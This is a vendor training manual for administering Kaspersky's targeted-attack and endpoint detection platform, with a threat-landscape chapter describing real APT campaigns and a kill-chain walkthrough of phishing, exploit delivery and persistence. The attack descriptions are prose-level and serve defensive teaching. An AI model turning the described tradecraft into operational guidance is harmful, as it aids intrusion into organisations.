KL 025.5 Katakedr v0.6 en

KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response.
Administration
KL 025.5
Kaspersky
Anti Targeted
Attack.
Kaspersky
Endpoint
Detection and
Response
Administration
Technical training
1
Administration
ed
Table of contents
ut
Acronyms and conventions ..................................................................................................................... 4
1. Introduction ...................................................................................................................................... 5
ib
1.1 Featured products and applications ................................................................................................. 5
1.2 Threat landscape .............................................................................................................................. 6
r
1.3 Challenges in building an information security system ..................................................................12
1.4 Approaches to building a cybersecurity system .............................................................................14
st
Comprehensiveness .......................................................................................................................14
Understanding the corporate business processes .........................................................................18
Adaptability .....................................................................................................................................19
di
1.5 The tasks KATA Platform helps the customer to solve ..................................................................21
2. Pre-deployment ............................................................................................................................ 24
re
2.1 Main capabilities .............................................................................................................................24
2.2 Applications and components ........................................................................................................25
Central node ...................................................................................................................................27
or
Sensor ............................................................................................................................................28
Sandbox..........................................................................................................................................29
Kaspersky Endpoint Agent .............................................................................................................30
Cluster. Architecture .......................................................................................................................31
Optimum vs expert framework .......................................................................................................32
d
2.3 System requirements ......................................................................................................................34

e
Server requirements .......................................................................................................................34

Kaspersky Endpoint Agent requirements .......................................................................................46
pi
2.4 Scaling ............................................................................................................................................48

Resource calculation ......................................................................................................................48
Configuration examples ..................................................................................................................48
co
2.5 Typical topologies ...........................................................................................................................50

One central node ............................................................................................................................50
Central node and sandbox .............................................................................................................50
Additional sensors ..........................................................................................................................51
Distributed installation ....................................................................................................................52
be
Cluster ............................................................................................................................................53
3. KATA platform deployment .....................................................................................................54

3.1 Planning ..........................................................................................................................................54
to
Kaspersky Endpoint Detection and Response ...............................................................................54

Kaspersky Anti Targeted Attack .....................................................................................................54
3.2 Server installation ...........................................................................................................................55
Installation of central node as a cluster ..........................................................................................56
t
Installing a central node on a single server ....................................................................................63

Sensor installation ..........................................................................................................................64
No
Sandbox installation .......................................................................................................................67
1
Administration
3.3 Activation and initial setup ..............................................................................................................77
ed
Central node activation ...................................................................................................................78
Downloading updates to the central node ......................................................................................79
Creating users ................................................................................................................................79
Authentication under Active Directory accounts .............................................................................82
ut
Connecting a central node to a Sandbox .......................................................................................83
Connecting a sensor to the central node ........................................................................................87
3.4 Distributed installation ....................................................................................................................88
ib
Primary central node ......................................................................................................................88
Companies in the distributed mode ................................................................................................89
Connecting secondary central nodes .............................................................................................90
r
Users in a distributed installation ....................................................................................................92
st
3.5 Kaspersky Endpoint Agent installation ...........................................................................................93
Installation using KSC ....................................................................................................................95
Local installation of Kaspersky Endpoint Agent .............................................................................98
di
Integration with the endpoint protection application .....................................................................104
Kaspersky Endpoint Agent policy in Kaspersky Security Center .................................................105
Configuring agents that are not connected to Kaspersky Security Center ..................................110
Protection against interference with Kaspersky Endpoint Agent..................................................112
re
Activating Kaspersky Endpoint Agent ..........................................................................................113
Successful installation and proper configuration of Kaspersky Endpoint Agent: expected result 116
Kaspersky Endpoint Agent update task .......................................................................................119
4. KATA operation ........................................................................................................................... 120

or
4.1 Connecting to traffic sources ........................................................................................................120
Network traffic ...............................................................................................................................120
ICAP traffic....................................................................................................................................125
d
Email messages ...........................................................................................................................129

4.2 KATA detection technologies .......................................................................................................138
e
Third-party IDS rules ....................................................................................................................139

Third-party YARA rules .................................................................................................................141
pi
Exclusions.....................................................................................................................................144
Dashboard ....................................................................................................................................146
List of alerts ..................................................................................................................................147
co
General alert properties ................................................................................................................148

Additional information about artifacts in an alert ..........................................................................149
URL Reputation ............................................................................................................................150
IDS ................................................................................................................................................151
Anti-malware engine .....................................................................................................................153
Sandbox........................................................................................................................................154
be
4.3 Processing alerts ..........................................................................................................................155

Alert processing status .................................................................................................................155
4.4 Identification of threats in traffic ....................................................................................................155
to
5. KEDR operation ............................................................................................................................ 161

5.1 KEDR detection technologies .......................................................................................................161
5.2 Incident investigation ....................................................................................................................168
5.3 Incident response .........................................................................................................................178
t
Isolating an endpoint from the network ........................................................................................179

No
Blocking access to files ................................................................................................................181

Kill a process ................................................................................................................................183
Get a file for scanning...................................................................................................................185
2
Administration
Quarantine a file ...........................................................................................................................186
ed
Delete a file ...................................................................................................................................188
Get forensics ................................................................................................................................189
Service management ....................................................................................................................190
Running a program remotely ........................................................................................................191
Scanning computers for IOC ........................................................................................................192
ut
Scanning computers against YARA rules ....................................................................................193
Get process memory dump/system memory dump .....................................................................194
Get disk image ..............................................................................................................................195
ib
Get registry key ............................................................................................................................196
Get NTFS metafiles ......................................................................................................................197
Task results ..................................................................................................................................198
File storage and scanning results .................................................................................................198
r
Response specifics in a distributed installation ............................................................................199
st
6. Sandbox analysis results ......................................................................................................... 201
6.1 Sandbox alert card .......................................................................................................................201
di
6.2 Results of analysis in a virtual environment .................................................................................202
6.3 Sandbox debug information..........................................................................................................204
7. KATA platform maintenance ................................................................................................ 207

7.1
7.2
7.3 re
VIP status .....................................................................................................................................207
Scanning password-protected archives .......................................................................................209
External API ..................................................................................................................................210
or
Use cases .....................................................................................................................................210
API client authorization .................................................................................................................210
API use examples .........................................................................................................................212
7.4 Reports .........................................................................................................................................215
d
7.5 Email notifications .........................................................................................................................217

7.6 Integration with SIEM ...................................................................................................................219
7.7 Server monitoring using SNMP ....................................................................................................221
e
7.8 Collecting system information ......................................................................................................222

Logs ..............................................................................................................................................222
pi
Gathering information for technical support .................................................................................223

Exporting alert details ...................................................................................................................224
co
7.9 Updates ........................................................................................................................................224

Updating the central node ............................................................................................................224
Sensor updates ............................................................................................................................225
Sandbox updates ..........................................................................................................................225
Kaspersky Endpoint Agent updates .............................................................................................225
be
7.10 Saving and restoring settings .......................................................................................................226

7.11 Upgrade ........................................................................................................................................226
7.12 Modifying system settings ............................................................................................................227
Replacing the certificate ...............................................................................................................227
Adjusting the time .........................................................................................................................227
to
Modifying network settings ...........................................................................................................228

7.13 Kaspersky Private Security Network (KPSN) ...............................................................................228
Why KPSN may be required.........................................................................................................228
Files required for integration with KPSN ......................................................................................228
t
Connecting a central node to KPSN .............................................................................................229

Integration with the reputation database ......................................................................................229
No
3
Administration
Acronyms and conventions
ed
Administration server KSC Administration Server
ut
C&C Command and Control center
Central node Kaspersky Anti Targeted Attack Central Node
ib
DBMS DataBase Management System
DMZ DeMilitarized Zone
r
EDR Endpoint Detection and Response
st
EPP Endpoint Protection Platform
IS Information Security
di
IT Information Technology
KATA Kaspersky Anti Targeted Attack
re
KEA Kaspersky Endpoint Agent
KEDR Kaspersky Endpoint Detection and Response
KES Kaspersky Endpoint Security

or
KPSN Kaspersky Private Security Network
KSC Kaspersky Security Center

d
KSN Kaspersky Security Network
KSWS Kaspersky Security for Windows Servers

e
Network Agent KSC Network Agent

pi
Sandbox Kaspersky Anti Targeted Attack Sandbox
Sensor Kaspersky Anti Targeted Attack Sensor

co
SIEM Security Information and Event Management

XDR eXtended Detection and Response
be
to
t
No
4
Administration
ed
1. Introduction
ut
ib
1.1 Featured products and applications
r
st
di
re
or
e d
pi
co
This course is devoted to Kaspersky Anti Targeted Attack Platform products:

— Kaspersky Anti Targeted Attack (KATA) Platform is a tool for deep analysis of the organization’s
network traffic that uses such technologies as sandboxing, IDS, anti-malware scanning,
reputation lookup, YARA.
—
be
Kaspersky Endpoint Detection and Response (KEDR) helps to collect and analyze data about
activities on the network endpoints, identify dangerous activities, contain an attack and eradicate
indicators of compromise with remote response tools.
Both products have the same server infrastructure, which performs different functions depending on the
license. That's what we mean when talking about a single KATA platform. KATA platform includes the
to
following servers:
— Central node,
— Sensor,
— Sandbox.
t
This version of the course covers KATA 5.0 and KEDR 5.0. Versions of the server components are based
No
on the KATA version; therefore, the Central Node, Sensor and Sandbox studied in this course have
version 5.0.
5
KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response. 1. Introduction
Administration
Endpoint agents installed on the network hosts play a critical role in KEDR (but not in KATA). This course
ed
covers the agent version fully compatible with KEDR 5.0: Kaspersky Endpoint Agent (KEA) 3.14.
Our course also touches upon related systems:

— Kaspersky Security Center (KSC) 14 — because it provides the most convenient ways to install
ut
and configure Kaspersky Endpoint Agent. In this version of our course, we use the KSC web
console.
— Kaspersky Endpoint Security (KES) for Windows 11.11 — because you can integrate the KES
ib
component with the KATA platform.
This course does not elaborate on how Kaspersky Security Center works. We provide detailed
instructions only for operations related to KEDR. To gain a deeper understanding of how KSC works, we
r
recommend that you take our course on network security basics: KL 002 Kaspersky Endpoint Security.
st
1.2 Threat landscape
di
re
or
e d
pi
co
be
Before we start scrutinizing KATA Platform products, let’s talk about threats that our customers face, why
standard tools may be insufficient to cope with them, and how we can counteract them.
to
Let's start with the threat landscape. These days, infrastructures have outgrown a protected perimeter. A
part of the customer's infrastructure or services can be hosted in a private or public cloud, some
employees work remotely, partners and contractors may also connect remotely, many employees use
their own devices for work, and so on. A customer's infrastructure is represented as groups of objects and
services (Infrastructure, Apps, Endpoints and others) in the figure. Attack vectors are also quite
t
No
6
Administration
numerous: weak passwords, insiders, spam, etc. If we juxtapose these two lists, we will get a matrix of
ed
the threat landscape, which contains a threat at almost every intersection. For example:
1. Zero-day vulnerability — AD: no one is immune from new vulnerabilities in services, and such
a situation can lead to a successful attack. If you look at the statistics of new vulnerabilities
appearing in software, you will notice that it is growing steadily.
ut
2. Unpatched devices — Windows endpoints: unpatched devices are devices that are known to
be vulnerable to specific types of attacks on their software, but measures have not been taken to
eliminate this threat. Unfortunately, the process of vulnerability scanning and patch management
ib
is not always in place in every company, and attackers quite often don't even need to look for
zero-day vulnerabilities to penetrate; they can simply scan devices, find vulnerable ones and
take advantage of them.
r
3. Weak password — contractors: contractors, subcontractors and partners often have access to
the customer's network and services these days. In this case, it is very important to grant
st
granular access according to the principle of least privilege and to control connection methods.
Thus, the threat landscape is currently quite vast and will continue to grow; new services and related
di
threats will appear, which must be repelled.
re
or
e d
pi
co
be
The total cost of damage from attacks on customers' IT infrastructure is growing from year to year. For
example, recent attacks on enterprises include:
— Accenture — LockBit encrypted about 2500 computers, approximately 6 TB of information.
to
— Nikkei — another file-encrypting ransomware attack.

— Ferrari — data theft.
— Tata Power — encryption and data theft.
— Colonial Pipeline — data encryption.
t
No
7
Administration
If you look at these attacks, you may notice that despite the differences in industries, approaches to
ed
incident detection and response, used technical means and processes, they have some common
features:
— These companies possessed something the attackers wanted (data, money).
— These companies definitely had some cybersecurity budget and personnel.
ut
Does this mean that these companies are some kind of exception to the rule, they made mistakes and
paid for them? Rather no than yes. Numerous successful attacks that are widely covered in the news
(and uncountable incidents that we will never know about) occur due to flaws in information security
ib
systems, but mostly because state-of-the-art targeted attacks are difficult to resist even for a large
company.
r
st
di
re
or
e d
pi
co
Advanced persistent threats, or targeted attacks, are difficult to detect and prevent, because they are:
1. Stealthy and evasive. Adversaries can use specially prepared malware as well as legitimate
software. When attackers use legitimate software, it is extremely difficult to identify malicious
activity without collecting additional information about actions and context, because an action
be
performed using such software can turn out to be either malicious or benign. For example, the
Get-ADUser cmdlet provides data on domain users. This operation can be legitimate when
performed by an administrator, or malicious if an unknown account tries to undertake it from an
endpoint where the protection application has been disabled.
2. Targeted. Large organizations are a lucrative target, but should a small company beware of
targeted attacks? Is there a threshold below which there's no risk because the cost of the attack
to
will exceed the potential profit? The answer to the first question is ‘yes’, and to the second
question, ‘no.’ A supply chain attack is a very popular way to penetrate a large network via a less
secure partner/supplier/contractor company. In this case, adversaries profit from access to a
more attractive goal rather than from data or money of the company they are hacking (which
would not worth the resources spent). According to Trellix Advanced Threat Research Report
t
(January 2022), PsExec is one of the most popular tools used by attackers (it was detected in
No
20% of all cases).

3. Complex and persistent. Attacks may execute multiple kill chain phases, or iterate phases
multiple times.
8
Administration
ed
ut
ibr
st
di
Targets of APT attacks
re
or
Potential targets of attackers include confidential information, money, disruption, and so on. Taking into
account the supply chain attacks, we can assume that targeted attacks can be directed at almost any
organization, regardless of its size, field, or value of its resources.
d
Various studies, for example, IBM “X-Force Threat Intelligence Index 2022”, show statistics on the sectors
of attacked companies. You can see that not only obvious sectors such as Finance or Government
e
become targets, but also less conspicuous ones, for example, Retail.
pi
co
be
t to
No
9
Administration
Let’s study an example of an APT attack. In January 2022, Kaspersky ICS CERT revealed a wave of
ed
targeted attacks on the military industries and private companies in some Eastern European countries
that might have been aimed at cyber espionage:
1. Initial infection
ut
Adversaries penetrated enterprise networks with the help of well-prepared phishing email
messages, which used internal information of the attacked organization that is not available in
public sources. This means that attackers did preparatory work in advance (for example,
information could have been obtained during previous attacks on the organization or its
ib
employees, or on organizations or individuals who work with it).
Attached Microsoft Word documents contained malicious code exploiting vulnerability CVE-
2017-11882. This vulnerability permits executing any code — in the investigated attacks, this
r
was the main module of PortDoor malware — without additional user actions.
st
When run, PortDoor collects general information about the infected system and sends it to the
malware control server. If the infected system is of interest to attackers, they use the PortDoor
functionality to remotely control the system and install additional malware.
di
2. Additional malware
The attackers used multiple backdoor applications at once — probably to maintain a
communication channel with the infected system in case a security solution detects and removes
re
some of the malware modules. All these backdoors provide extensive functionality for controlling
the infected system and collecting confidential data.
Five out of the six backdoors found on infected systems (PortDoor, nccTrojan, Logtu, Cotx and
DNSep) had been previously used in attacks that other researchers attributed to APT TA428.
The sixth backdoor turned out to be new and had not been encountered in other attacks.
or
3. Attack development
Having gained a foothold on the first system, attackers spread malware to other computers on
the network; to access them, they used results of network scanning, as well as previously stolen
d
credentials.
The Ladon hacker utility popular in China was used in the attack. It combines tools for scanning
e
the network, finding and exploiting vulnerabilities, password attacks, etc. Attackers also actively
used standard utilities included with the Microsoft Windows operating system.
pi
The final stage of the attack was access to the domain controller and full control over all
workstations and servers of the organization.
The attackers actively used dll hijacking and process hollowing techniques to avoid detection by
co
security software.
4. Data theft
Having obtained permissions of a domain administrator, the attackers searched for documents
and other files containing confidential data of the attacked organization and then uploaded them
to their servers deployed in several countries. The same servers were used as first-level
be
malware management servers.

The attackers packed stolen files into encrypted password-protected ZIP archives. Upon
receiving the collected data, the first-level malware management servers forwarded the archives
to a second-level management server located in China.
to
https://securelist.com/targeted-attack-on-industrial-enterprises-and-public-institutions/107054/#
t
No
10
Administration
ed
ut
r ib
st
di
re
or
Let’s study another example of an APT attack:
— A PowerShell command loads a PowerShell script from a remote server and executes it.
— In the next step, the script downloads three additional files from the same remote server: 1.bat,
d
syn.exe and 1.dll .

— The script runs 1.bat that starts syn.exe and then deletes all three files from the computer.
e
— syn.exe is a program that loads 1.dll. Module 1.dll is the payload, a backdoor that Fortinet
analysts named Milestone; its code is based on Gh0st RAT/Netbot Attacker and packed with
pi
Themida.
— The backdoor copies itself into %APPDATA%\newdev.dll and creates service msupdate2 in the
registry.
co
be
t to
No
11
Administration
1.3 Challenges in building an information security system
ed
ut
r ib
st
di
re
or
We have figured out what attacks exist and who they are aimed at; analyzed some examples; and now
d
it's time to discuss what problems a customer faces when building an information security system to
counter contemporary threats:
e
1. You only see the attacker’s final steps.

If only the final steps of the attacker are visible and the attack chain is not investigated, then
pi
most of the attacker's activity remains hidden; and if we don't see it, we cannot control or stop it.
Also, if we can see the final steps and successfully counter them, it does not mean that the
situation will remain as it is. This will last only until the attackers perform an action that we cannot
co
detect, which may take an hour, a day or a month; then they will reach their goal.
A real-life example:
— A customer detects a malicious program on a corporate computer.
— Deletes it.
be
— The customer detects malware on another computer within their network a day after the first
incident.
— Deletes it.
— A day later, the situation repeats.
to
— This continues until the customer analyzes this cybersecurity incident and reveals the entire
chain of the attack, after which they were able to stop it.
2. No clear plan of action.
There might be a situation when a customer does not have a clear plan of action for various
t
cybersecurity incidents, or employees are not familiar with it. This may lead to the following
No
consequences:
— Employees' actions may be too hasty (delete a file or delete a virtual machine without having
analyzed the threat).
12
Administration
— Employees' actions may be too slow (it may take time for an employee to figure out how to
ed
best act in a particular situation).
— Communications between employees/departments can take a long time (an insider may be
found during an investigation and interaction with the IT service and the physical security
service will be necessary in order to promptly restrict employee’s access to the corporate
ut
services and premises, which may require various approvals).
— If a procedure is not clearly described or well-mastered, an employee may simply make a
mistake in a hurry; the human factor becomes critical.
ib
3. Lack of resources.
Customers quite often don't have the necessary resources to work with various cybersecurity
systems. As a result, although systems generate the necessary information on incidents and
r
provide the necessary functionality for threat analysis and prevention, employees simply don't
st
have time to use it because of heavy workload.
A real-life example:
— A customer has a SIEM system deployed.
di
— It generates about 400 alerts daily.
— Only two specialists work with this system, who have other duties too.
re
— As a result, there is no time for configuring and fine-tuning the system, alerts are created but
are not processed, incidents are neither investigated nor responded.
— The result from the SIEM implementation is negative, taking into account its cost.
4. Lack of understanding of what to protect.
or
Even if a company has all the necessary resources to investigate incidents, but there is no
understanding of which processes and resources are critical for the company, the results of the
information security department work will be unsatisfactory. When making any decisions in
information security, it is always necessary to take into account what impact this will have on the
d
company's business. This helps in prioritizing threats as well as when implementing protective
measures.
e
For example, what if the corporate print server is unavailable for 1 day? For a software
development company, this is unpleasant, but the key business processes will work all right, the
pi
damage is minimal. For a bank office, this is critical, because the key business processes will be
affected: signing contracts, issue of loans (everything where paper documents are required).
When prioritizing threats, analysts must focus on threats that can potentially cause maximal
co
damage.
be
t to
No
13
Administration
1.4 Approaches to building a cybersecurity system
ed
ut
ib
r
st
di
re
or
We have discussed challenges that companies face when building an information security system and
d
now let's discuss approaches to protecting a company against cyberthreats.

e
Comprehensiveness
pi
An information security system should be comprehensive. This means that technical means or skilled
personnel are not enough. Three components are required:
co
1. People. Skilled personnel are required to perform tasks in an integrated information security
system, which is not as simple as it may sound, considering a constant shortage of cybersecurity
professionals on the labor market. Also, don't forget that ordinary users very often become the
first line of defense, and probability and criticality of incidents depends on their cybersecurity
awareness; so, in addition to hiring information security specialists, it is equally important to
educate all company personnel.
be
2. Processes. Again, without a clear understanding of what steps employees should take in every
situation, they will not be able to act efficiently.
3. Technologies. There are usually no questions about this. To perform their tasks, specialists need
appropriate tools that have the required functionality and usability.
t to
No
14
Administration
ed
ut
r ib
st
di
re
or
To build a comprehensive information security system, you must understand how an attack on an
organization develops; when an incident is detected, you need to realize what stage the adversaries are
at, what tools they use and what they may do next. There are many methods for analyzing attack steps;
the Kill Chain model is one of them.
d
Let’s look at an example:

e
1. Reconnaissance.
The cybercriminals begin by gathering information about the organization from open sources,
pi
social networks, etc. They are interested in everything to do with business processes, IT/IS
systems and company problems. On the company’s website or a job search website, they find
information about vacancies in the IT or cybersecurity department with a description of the
co
systems that candidates need to know. On LinkedIn, there are details of IT staff, including their
skills and successfully completed projects. Next, they find these people in Facebook and learn
even more about what they do at the company. It is possible to go even further and find ex-
employees who have been fired and feel offended: they are likely to tell a lot of interesting
details. Finally, using free tools such as DNS lookup etc., they get information about the
company’s IP addresses and external resources.
be
Now the cybercriminals know everything they need about the operating systems, applications,
anti-malware and anti-spam protection, firewalls, DBMS and other systems used by the
organization. In short, know what to attack and what security mechanisms need to be bypassed.
2. Weaponization.
to
The cybercriminals select the method of attack and prepare the tools to execute it. Let it be a
PDF document with a proposal for collaboration on a new product. They know about the anti-
malware applications used to protect endpoints and mail servers. Therefore, they need to
prepare a malicious object able to evade just one or a few particular security products, which
simplifies the task. The cybercriminals find an exploit kit and after a few test runs create a PDF
t
file that escapes detection by the anti-malware applications installed at the victim company.
No
When a company employee receives and opens the file, it will exploit a vulnerability in the PDF
reader software to establish a connection to the C&C center over the internet. The result will be
full access to the computer.
15
Administration
3. Delivery.
ed
At the third stage, the malicious object is delivered to a company employee. This is where social
engineering comes into play.
Through the corporate website or social networks, or even by ringing the company’s call center,
ut
they make a list of employees who deal with new suppliers. The cybercriminal phones one of
them, tells a ‘story,’ and forwards a business proposal, that selfsame PDF file.
If the cybercriminals are in luck, the malicious file will reach the recipient intact. The user opens
the file, inadvertently infecting the machine and establishing a connection to the C&C center. If
ib
this does not occur, criminals will need to phone the employee once more to find out what
happened. If the file was blocked by an anti-malware application or the message was not
delivered, the cybercriminal can complain about problems with the mail system and offer to send
r
the file to the private mail account of the employee, who will then open it at the office or at home
on the work laptop. In this instance, there are fewer levels of protection, so the chances of
st
delivery are higher.
4. Installation and spreading.
di
As soon as the employee receives the file and opens it, the system becomes infected. Then the
malware modules propagate throughout the network under the criminals’ control and infect other
machines.
re
5. Command and control.
The infected computers establish a connection to the C&C server. Now the cybercriminals have
control over the computers, including systems used to perform banking operations.
6. Accomplishing the task.
or
The cybercriminals achieve the objective: obtain the details of thousands of bank cards and sell
them to the customer who ordered the crime.
7. Disappearance.
d
The final stage is to erase every trace of the operation: files, log records, etc. This phase is
optional and is not always carried out. One of specifics of targeted attacks is that they pursue not
only near-term, but also long-term aims. In this case, a near-term objective is to steal a database
e
with financial details of the users. A long-term objective is to keep doing it in the future.
pi
From the victim’s viewpoint, the situation does not look good. At the first two stages (pre-compromise),
the company is rather powerless to do anything but keep an eye on the information about itself that is
published on the internet. It is almost impossible to know that someone is gathering information and
co
preparing an attack. At the next stages, it is vital, yet still insufficient to apply traditional protection
methods. They will help in the event of a mass attack, but if the attack is targeted, the intruder will bypass
at least some of them after a series of attempts.
The only option here is to consider a new approach to protection using not only tools for blocking certain
malicious objects or network packages, but ones able to detect indicators of targeted attacks against the
be
organization. In any event, company employees need to be made more aware of the IT threats.
t to
No
16
Administration
ed
ut
r ib
st
di
re
or
Information security specialists worldwide constantly monitor and analyze activities of cybercrime groups.
Their tactical and strategic objectives are scrutinized, described and classified. A result of this work is the
MITRE ATT&CK knowledge base of adversary tactics and techniques.
While Kill Chain considers 5 major stages of adversaries’ actions starting with intrusion, MITRE ATT&CK
d
highlights 12 tactical objectives in attacks on enterprises:

e
— Initial access — penetration.

— Execution — running malicious code.
pi
— Persistence — the adversary is trying to maintain their foothold.

— Privilege escalation — gaining higher-level permissions.
co
— Defense evasion — eluding detection.

— Credential access — stealing accounts’ names and passwords.
— Discovery — discovering devices and other objects on the network.
— Lateral movement — compromising other network endpoints.
be
— Collection — gathering data for theft or analysis.

— Command and control — remote access and control.
— Exfiltration — sending corporate data outside.
— Impact — interference with the organization’s operation.
to
These objectives are named tactics in the MITRE ATT&CK classification. Known methods of achieving
the goal are listed and described for each tactic. These methods are named techniques.
t
The MITRE ATT&CK knowledge base (a so-called matrix) is a useful tool for understanding the nature of
a malicious activity and predicting further steps of an attack.
No
17
Administration
ed
ut
rib
st
di
re
or
Understanding the corporate business processes
Another important factor when building an information security system is understanding the company’s
business processes.
d
To build efficient protection, it is critically important to understand what exactly we need to protect, how
e
business processes are organized, which of them are crucial, which employees and which information
systems participate in them.
pi
This information is equally important when designing the information security system and when
investigating incidents, for example:
co
— When you design a cybersecurity system, you must understand which data or services are most
critical for the company and build the system based on this information and taking into account
the level of risk that is considered acceptable for these resources. Suppose, 4-hour downtime of
an organization's website will lead to reputational and monetary losses of several hundred
thousand dollars and critical business processes will be affected. Taking into account this fact
and likelihood of such an incident, we can design an information security system that will prevent
be
this risk with high probability, provided that the cost of implementing and maintaining this system
is lower than the potential damage. There are various formulas that help calculate risk reduction.
— When you investigate an incident, information about the protected objects and their criticality can
be useful in various cases:
— Additional information for incident analysis;
to
— Incident prioritization;
— Ability to predict the attacker's goals.
t
No
18
Administration
ed
ut
rib
st
di
re
or
Adaptability
One more important factor when building an information security system is adaptability.
d
Whichever approach to security you adopt, it is important to understand that it is a continuous cyclic
process, which includes prevention, detection, response and prediction rather than one-time activities. To
e
ensure proper protection, companies should use solutions and services that cover all of them:
— Prevent: a set of policies, products and processes that prevent an attack. The main purpose of
pi
this category is to reduce the attack surface and block dangerous activity before harm is done to
the company.
— Detect: functionality for detecting attempted and actual intrusions missed by tools in the previous
co
category due to the active use of masking techniques. The main purpose of this category is to
detect the spread of an attack to minimize the damage. Ideally, the company should presume
being under attack already, with systems having been compromised.
— Respond: the skills and tools required for investigating and eliminating problems detected by the
solution in the previous category. The results of the investigation should propose measures to
be
avoid such situations in the future.

— Predict: the ability of the organization to find out about new threats and trends from external
sources. Such information facilitates a proactive response to new threats and changing priorities
through modifying prevention and detection methods.
t to
No
19
Administration
ed
ut
ib
r
st
di
re
or
In a projection onto the adaptive security strategy, Kaspersky Anti Targeted Attack Platform and
Kaspersky Endpoint Detection and Response detect targeted attacks that endpoint protection
applications may overlook. KATA detects threats in the network traffic. KEDR detects threats on
endpoints.
d
Kaspersky Endpoint Detection and Response also provides response tools: permits you to remotely
isolate a host from the network, request files for analysis, stop and start processes, prohibit starting
e
specific files, etc. KATA does not contain any response tools.
pi
KATA and KEDR can be used either separately or as an integrated solution.

co
be
t to
No
20
Administration
1.5 The tasks KATA Platform helps the customer to solve
ed
ut
r ib
st
di
re
or
We have described typical cybersecurity tasks; now, let's see how KATA Platform can help solve them:
d
— Company management:
e
— Reduction of possible damage;

— Risk mitigation.
pi
— Heads of department:
— Increasing efficiency and, as a consequence, an opportunity to receive additional resources;
co
— Preparation of reports for management about detected threats.

— Engineer:
— Solving tasks with less effort thanks to technical capabilities of the solution;
— Enhancing skills and value for the company and in the job market.
be
t to
No
21
Administration
ed
ut
rib
st
di
re
or
Let’s talk about taxonomy of protection solutions in order to position KATA Platform correctly:
— Traditional protection is classified as Endpoint Protection Platform (EPP) solutions. Their task is
to automatically block and resolve all threats that can be detected 100% algorithmically and thus:
— Make it more difficult for adversaries to create undetectable tools;
d
— Reduce the number of incidents that require expert analysis.

e
The following Kaspersky Endpoint Security for Business products pertain to this class of
solutions: Kaspersky Endpoint Security (for Windows, Linux, Mac), Kaspersky Security for
pi
Windows Server, and more.
— Endpoint Detection and Response (EDR) is a class of solutions that detect potentially dangerous
co
but not 100% malicious activity on network endpoints and provide cybersecurity experts with
extended decision-making context and incident response tools.
Kaspersky Endpoint Detection and Response belongs to this class of solutions.
— Network Traffic Analyzer (NTA) is a class of solutions that analyze network traffic and detect
indicators of malicious or suspicious activity.
be
Kaspersky Anti Targeted Attack Platform belongs to this category.

— Extended Detection and Response (XDR) — integrated solutions that can correlate indicators of
dangerous activity from endpoints and network traffic to more efficiently detect and resolve
attacks.
Integrated KATA and KEDR form a solution of this class.
t to
No
22
Administration
ed
ut
rib
st
di
re
or
When working with KATA Platform, you must take into account approaches to building an information
security system: comprehensiveness, adaptability, understanding of business processes.
1. Study the corporate IT infrastructure and business processes.

d
This step is very important, because you cannot properly design an information security system
or organize processes without it.
e
2. Integrate KATA Platform into the corporate cybersecurity system and processes.
pi
At this stage, KATA Platform is integrated into the information security system and you configure
technical interaction between them, as well as between KATA Platform and IT systems. You also
need to create organizational norms for the system operation and maintenance.
co
3. As part of operational activities, identify threats, eliminate them and minimize damage to the
company.
Operational work is underway: incident detection, investigation and response to attacks.
4. Adapt processes, cybersecurity and IT systems to prevent incidents in the future.
be
Last but not least: adapt all systems and processes based on the information received to prevent
recurrence of the same incidents in the future.
t to
No
23
KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response. 2. Pre-deployment
Administration
2. Pre-deployment
ed
ut
2.1 Main capabilities
rib
st
di
re
or
e d
pi
Kaspersky Anti Targeted Attack Platform:

— Analyzes data in network traffic: in a raw copy of network traffic, in messages retrieved from the
mail system and in objects retrieved from the proxy server;
co
— Applies various threat detection technologies:

— Intrusion Detection System to raw traffic;
— URL Reputation to addresses extracted from traffic and from the text of email messages;
— Anti-malware scanning, reputation check, digital signature check, emulation in a virtual
be
environment, YARA — to files extracted from traffic and mail messages and downloaded via
links in email messages;
— Provides detailed information about detections in the web console;
— Permits searching Kaspersky Threat Intelligence Portal for additional information about the
to
detected objects.
Kaspersky Endpoint Detection and Response:

— Collects endpoint activity data (telemetry);
t
— Automatically checks telemetry for suspicious activity using the Targeted Attack Analyzer
technology;
No
— Publishes detected suspicious activity in the web console;

— Enables information security personnel to actively hunt for threats using the telemetry database;
24
Administration
— Provides tools to remotely respond to an incident:
ed
— Isolate the host from the network,
— Prevent file execution,
— Delete a file,
ut
— Quarantine a file,
— Upload a file to the centralized storage,
ib
— Kill a process,
— Run a program,
— Get forensic data,
r
— Get process or system memory dumps,
st
— Get disk image;
— Applies various detection technologies to files in the centralized storage: anti-malware scanning,
di
reputation check, digital signature check, emulation in a virtual environment, YARA;
— Permits searching Kaspersky Threat Intelligence Portal for additional information about the
detected objects;
re
— Permits scanning the telemetry database and endpoints for indicators of compromise.
2.2 Applications and components

or
e d
pi
co
be
t to
KATA/KEDR include the following applications:

No
— Sensors provide integration with the customer’s network infrastructure. A sensor receives
network, web and mail traffic. Then it performs preliminary scanning: analyzes network packets
25
Administration
and links, extracts files from traffic and forwards them together with metadata to central node for
ed
more detailed analysis.
— Endpoint agents are installed on workstations and servers running Microsoft Windows or Linux.
The program collects data about processes’ activities, file and registry operations, as well as
about the established connections. The collected data is sent to the central node for further
ut
analysis. A central node can command its agents to contain dangerous activity.
In this course, we describe only KEA for Windows; KEA for Linux serves the same purposes, but
its functionality is somewhat less extensive.
ib
— Central node is the main component of the system. It receives data from sensors and agents,
performs in-depth analysis, detects anomalous activity on endpoints, stores and publishes the
results. It also interacts with the sandbox servers (sends objects for analysis).
r
— A sandbox server is a special hypervisor with a set of virtual machines running several different
st
versions of operating systems and most common applications. The virtual machines are started
when a central node sends a task to analyze an object’s behavior. The file or link is transferred
to a virtual machine and is run there. All actions are logged and then analyzed. A sandbox
di
scrutinizes executable files, office documents, scripts and multimedia files.
— Web interface is the main security tool for monitoring and studying the results of analysis
performed by the KATA and KEDR products. This component is implemented as a web server
re
on central node; you can connect to it using any popular web browser.
Sensor, central node and sandbox are separate1 physical or virtual servers. All connections between
KATA/KEDR applications (components) are protected by TLS. Connections between the central nodes
and sensors are additionally protected with IPsec.
or
KATA is connected to the network non-intrusively (without interrupting the data flow). Inline connection is
not supported. The solution analyzes mirrored traffic and copies of objects without significantly affecting
the network. The KATA platform is designed primarily for analyzing organization’s incoming or outgoing
traffic. Internal traffic analysis is not an anticipated use case.
e d
pi
co
be
t to
No
